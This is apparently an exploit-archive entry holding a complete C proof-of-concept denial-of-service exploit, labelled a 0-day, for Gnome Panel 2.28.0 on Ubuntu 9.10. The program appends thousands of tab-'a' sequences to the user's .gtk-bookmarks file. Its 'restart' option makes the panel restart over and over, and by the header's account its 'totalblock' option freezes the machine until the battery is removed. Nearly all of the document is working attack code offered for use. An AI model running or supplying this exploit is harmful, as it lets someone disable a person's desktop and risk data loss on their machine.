Gnome Panel 2.28.0 - Denial of Service (PoC)

# Tested on: ubuntu 9.10
# CVE : 
# Code :

/*********************************************************************************
*	        Gnome panel <= 2.28.0 denial of service poc 0-day		 *
*		     by  Pietro Oliva <pietroliva@gmail.com>
*                         http://olivapietro.altervista.org
*										 *
*	      After executing this poc a backup file will be created             *
*                You can restore it by typing ./paneldos restore                 *
*           Using option restart gnome-panel will restart continuously           *
*          Using option totalblock you will need to remove the battery           *
*       After execution click application in the panel, then go to places        *
*                             and wait some seconds...   			 *
*       https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868        *
**********************************************************************************/



#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
	FILE *f;
	unsigned long i;
	printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-day\n\n");
	if(!(f=fopen(".gtk-bookmarks","r")))
	{
		printf("%s","file not found! make sure you are running\nthis file from your home directory\n");
		return 1;
	}
	fclose(f);
	if((argv[1]==NULL))
	{
		printf("%s","please specify an argument!\n");
		printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
		return 1;
	}
	if(((strcmp(argv[1],"restart"))==0))
	i=9999;
	else if((strcmp(argv[1],"totalblock"))==0)
	i=99999;
	else if((strcmp(argv[1],"restore"))==0)
	{
		if(!(f=fopen(".backup","r")))
		{
			printf("%s","no backup found!\nmake sure you are running\nthis file from your home directory\n");
			return 1;
		}
		fclose(f);
		system("cp .backup .gtk-bookmarks");
		printf("%s","succesfully restored!\n");
		return 0;
	}
	else
	{
		printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
		return 1;
	}
	if(!(f=fopen(".backup","r")))
	{	
		printf("%s","creating backup...\n");
		system("cp .gtk-bookmarks .backup");
	}
	else
	fclose(f);
	f=fopen(".gtk-bookmarks","a");
	printf("%s","starting...\n");
	fwrite("file:///home ",1,13,f);
	while(i>0)
	{
		fwrite("\ta",1,2,f);
		i--;
	}
	fclose(f);
	printf("%s","done! now click applications in panel,\nslide to places, wait and see the result! :D\n");
	return 0;
}